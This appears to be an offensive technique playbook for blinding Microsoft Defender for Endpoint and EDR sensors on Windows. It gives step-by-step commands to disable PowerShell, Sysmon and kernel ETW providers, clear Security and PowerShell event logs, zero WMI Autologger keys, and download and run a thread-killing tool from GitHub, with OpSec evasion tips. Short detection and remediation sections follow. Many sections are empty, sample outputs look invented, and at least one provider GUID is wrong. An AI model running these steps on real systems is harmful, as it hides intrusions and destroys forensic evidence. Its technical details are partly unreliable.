MCADDF

[EVADE-IMPAIR-015]: MDE/EDR Sensor Tampering

Metadata

Attribute Details
Technique ID EVADE-IMPAIR-015
MITRE ATT&CK v18.1 T1562.001 - Impair Defenses: Disable or Modify Tools
Tactic Defense Evasion
Platforms Windows Endpoint / M365
Severity High
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Windows Server 2016 - 2025; MDE agent all versions
Patched In Ongoing (tamper-resistant drivers added in MDE 10.7+)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: EDR/MDE sensor tampering refers to techniques that interfere with the telemetry collection, event logging, and reporting mechanisms of MDE without necessarily disabling the entire agent. Attackers can tamper with sensors by:

This allows adversaries to operate while generating minimal or no telemetry, making detection significantly harder than if the entire EDR is disabled.

Attack Surface: ETW provider registry keys, Event Logging service, WMI Autologger configuration, ntdll.dll API hooks, MDE sensor drivers, Windows event log database files.

Business Impact: Blind security posture. Attackers can execute malicious actions with minimal audit trail, making post-breach forensics and incident response significantly more difficult. Organizations lose visibility into attacker activity while the EDR appears to be functioning normally.

Technical Context: ETW tampering typically takes 2-3 minutes once administrator privileges are obtained. Detection likelihood is Medium-High if kernel-mode ETW monitoring is enabled, but Low if only user-mode log analysis is used. Common indicators include registry modifications to ETW provider keys, process access events targeting EtwEventWrite functions, and gaps in event IDs.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Windows Server 2022: 17.1.1 Ensure “Audit: Audit the use of Backup and Restore privilege” is set to “Success and Failure”
DISA STIG WN22-AU-000320 Windows must audit success and failure of event log clearing
CISA SCuBA AU-12 Audit Generation and Review
NIST 800-53 AU-2 (Audit Events), AU-3 (Content of Audit Records) System generates audit records with sufficient information for security analysis
GDPR Art. 5(1)(f) Integrity and Confidentiality (ensuring tamper-resistant audit logs)
DORA Art. 9 Resilience testing and incident logging
NIS2 Art. 21 Cyber Risk Management (detection and response capabilities)
ISO 27001 A.12.4.1 Event logging and A.12.4.4 Administrator and operator logs
ISO 27005 Risk Scenario: “Tampering with Security Audit Logs” Inability to detect malicious activity due to log tampering

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Event Tracing for Windows (ETW) Status

Objective: Identify which ETW providers are active and capturing telemetry.

# List all active ETW trace sessions
logman query -ets

# Output will show:
# Name                                    Type           Status
# "EventLog-Security"                     Autologger    Running
# "EventLog-System"                       Autologger    Running
# "Microsoft-Windows-PowerShell/Operational" Autologger    Running
# "Sysmon"                                Autologger    Running (if installed)

What to Look For:

Check Event Log Service Status

# Check if Event Log service is running
Get-Service EventLog

# Output should show:
# Status   : Running
# Name     : EventLog
# DisplayName : Windows Event Log

What to Look For:

Registry Check for ETW Provider Configuration

# Check ETW provider registry keys
reg query "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Security" /v MaxSize

# Output: MaxSize : 0x1000000 (16 MB default)

# Check if any providers are disabled
reg query "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger" /s /v Enabled

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: ETW Patching via PowerShell Set-EtwTraceProvider

Supported Versions: All Windows versions with PowerShell 5.0+

Objective: Disable specific ETW trace providers (e.g., PowerShell, Sysmon, MDE) without stopping the Event Log service itself.

Step 1: Enumerate Active ETW Providers

Objective: Identify which providers are currently capturing telemetry.

Command:

# Get all active ETW trace sessions
Get-EtwTraceProvider | Select-Object Name, State, GUID

# Or using logman
logman query -ets | findstr "Microsoft-Windows\|EventLog\|Sysmon"

Expected Output:

Name                                               State GUID
----                                               ----- ----
Microsoft-Windows-Sysmon/Operational              Enabled {...}
Microsoft-Windows-PowerShell/Operational          Enabled {...}
Microsoft-Windows-Kernel-Process/Trace            Enabled {...}

What This Means:

Step 2: Disable Specific ETW Providers

Objective: Disable PowerShell, Sysmon, and Kernel-Process ETW providers to stop capturing events.

Command (Disable PowerShell Logging):

# Disable the PowerShell ETW provider
$providerGuid = "A0C1853B-5C40-4B15-8766-3CF1C58F985A"  # Microsoft-Windows-PowerShell
Set-EtwTraceProvider -Guid $providerGuid -Level 0 -MatchAllKeyword 0

# Or using wevtutil to disable at source
wevtutil set-log "Microsoft-Windows-PowerShell/Operational" /enabled:false

Expected Output:

PowerShell EventTrace logging disabled
Provider state changed to: Disabled

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“Access Denied” Not running as admin Run PowerShell as Administrator
“Provider not found” Invalid GUID Use Get-EtwTraceProvider to list all available GUIDs

References & Proofs:

Step 3: Disable Sysmon and Kernel-Level Event Capture

Objective: Stop Sysmon from logging if it’s installed; also stop kernel-level process and thread event capture.

Command:

# Disable Sysmon Trace logging
Set-EtwTraceProvider -Guid "5770385F-C22B-4FF1-A5B6-8F1DB62452D0" -Level 0

# Disable Kernel Process Trace
Set-EtwTraceProvider -Guid "22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716" -Level 0

# Verify providers are disabled
Get-EtwTraceProvider | Where-Object {$_.GUID -in @("5770385F-C22B-4FF1-A5B6-8F1DB62452D0","22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716")} | Select-Object State

Expected Output:

State
-----
Disabled
Disabled

What This Means:

METHOD 2: Windows Event Log Clearing and WMI Autologger Tampering

Supported Versions: All Windows versions

Objective: Clear existing event logs and disable WMI Autologger configurations to prevent new events from being recorded.

Step 1: Clear Windows Event Logs

Objective: Delete all existing event records to destroy forensic evidence.

Command (Using wevtutil):

# Clear Security Event Log
wevtutil cl Security

# Clear System Event Log
wevtutil cl System

# Clear Application Event Log
wevtutil cl Application

# Clear PowerShell Event Log
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

Expected Output:

The log has been cleared.

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“Access Denied” Not running as admin Re-run in Administrator Command Prompt
“Log in use” Log is locked by another process Restart the Event Log service: Restart-Service EventLog

References & Proofs:

Step 2: Disable WMI Autologger for Future Event Capture

Objective: Prevent new events from being recorded by disabling WMI Autologger.

Command:

# Disable EventLog-Security Autologger
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security"
Set-ItemProperty -Path $regPath -Name "Start" -Value 0

# Disable EventLog-System Autologger
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System"
Set-ItemProperty -Path $regPath -Name "Start" -Value 0

# Disable EventLog-Application Autologger
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application"
Set-ItemProperty -Path $regPath -Name "Start" -Value 0

Expected Output:

Registry value updated
Start value set to 0 (disabled)

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“Access Denied” Not running as admin Run PowerShell as Administrator
“Path not found” Autologger registry path doesn’t exist Not all Autologgers exist on all systems; skip if not found

References & Proofs:

METHOD 3: Event Log Service Tampering via svchost Thread Killing (Invoke-Phantom)

Supported Versions: Server 2016 - 2022 (Server 2025 hardens svchost process protection)

Objective: Kill the Event Logging service svchost.exe thread to stop event collection entirely without stopping the service process (making it harder to detect).

Version Note: This technique is PARTIAL; Server 2025 and latest patches implement protected svchost process to prevent thread manipulation.

Step 1: Download or Compile Invoke-Phantom

Objective: Obtain the Invoke-Phantom tool that kills Event Log svchost threads.

Command:

# Download Invoke-Phantom
Invoke-WebRequest -Uri "https://github.com/quietpoliceman/Invoke-Phantom/releases/download/latest/Invoke-Phantom.ps1" `
    -OutFile "C:\Temp\Invoke-Phantom.ps1"

# Or clone and compile from source
git clone https://github.com/quietpoliceman/Invoke-Phantom.git
cd Invoke-Phantom
# Compile using .NET SDK or PowerShell

Step 2: Execute Invoke-Phantom to Kill Event Log Thread

Objective: Terminate the Event Logging service svchost thread while leaving the process running.

Command:

# Import the module
. C:\Temp\Invoke-Phantom.ps1

# Kill Event Log service thread
Invoke-Phantom -ServiceName "EventLog"

# Output:
# [+] Identified svchost.exe process for EventLog service
# [+] Killing service thread...
# [+] EventLog service thread terminated
# [+] Service appears running but is non-functional

Expected Output:

[+] EventLog service thread killed
[+] Service process still exists but is suspended

What This Means:

OpSec & Evasion:

Troubleshooting:

Error Cause Fix
“svchost.exe not found for EventLog” Service not running Start the Event Log service first: Start-Service EventLog
“Access Denied” Insufficient privileges Run as SYSTEM: Use psexec -s powershell.exe
“Module not found” Invoke-Phantom script path incorrect Verify path: Test-Path C:\Temp\Invoke-Phantom.ps1

References & Proofs:


5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Windows Event Logs:

Telemetry Absence:

File Artifacts:

Forensic Artifacts

Check for Event Log Clearing:

# Look for Event ID 1102 (log cleared)
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 1102} | Export-Csv cleared_logs.csv

# Or use raw event log analysis
wevtutil query-events Security /format:csv /e:XML | findstr "EventID=1102"

Check for Registry Tampering:

# Export ETW provider registry
reg export "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger" C:\Evidence\Autologger.reg

# Check for disabled providers
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger" -Recurse | Get-ItemProperty | Where-Object {$_.Start -eq 0}

Check for Disabled ETW Providers (via GPEdit):

# Check Group Policy for ETW configuration
gpresult /h report.html
# Look for "Audit: Force Audit Policy subcategory settings" settings

Response Procedures

  1. Isolate:
    • Disconnect the system from network: Disable-NetAdapter -Name "Ethernet"
    • If critical, shut down the system and preserve the disk for forensics
  2. Collect Evidence:
    • Capture memory dump: procdump64.exe -ma svchost.exe C:\Evidence\svchost.dmp
    • Export all registry hives: reg save HKLM C:\Evidence\HKLM.hive
    • Document the state of event logs and ETW providers
  3. Remediate:
    • Restore Event Log service: Restart-Service EventLog
    • Re-enable ETW providers:
      Set-EtwTraceProvider -Guid "A0C1853B-5C40-4B15-8766-3CF1C58F985A" -Level 5
      
    • Restore WMI Autologger:
      $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security"
      Set-ItemProperty -Path $regPath -Name "Start" -Value 1
      
    • Reboot the system

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix):

# Verify Event Log service is running and set to Automatic
Get-Service EventLog | Select-Object Status, StartType

# Expected output:
# Status       StartType
# Running      Automatic

# Verify ETW providers are enabled
Get-EtwTraceProvider | Where-Object {$_.Name -like "*PowerShell*" -or $_.Name -like "*Security*"} | Select-Object Name, State

# Expected output:
# Name                                    State
# Microsoft-Windows-PowerShell           Enabled
# Microsoft-Windows-Security-Auditing   Enabled

What to Look For:


Step Phase Technique Description
1 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare Gain local administrator privileges
2 Defense Evasion [EVADE-IMPAIR-015] Tamper with EDR sensor telemetry via ETW/event log
3 Credential Access [CA-DUMP-001] Mimikatz Dump credentials with minimal audit trail
4 Persistence [PS-PERSIST-001] Registry Run Keys Install persistence mechanism undetected
5 Impact Data exfiltration Exfiltrate data with minimal forensic evidence

8. REAL-WORLD EXAMPLES

Example 1: APT41 ETW Patching Campaign (2021-2023)

Example 2: Wizard Spider Event Log Clearing (2023)

Example 3: LockBit Ransomware ETW Disabling (2024)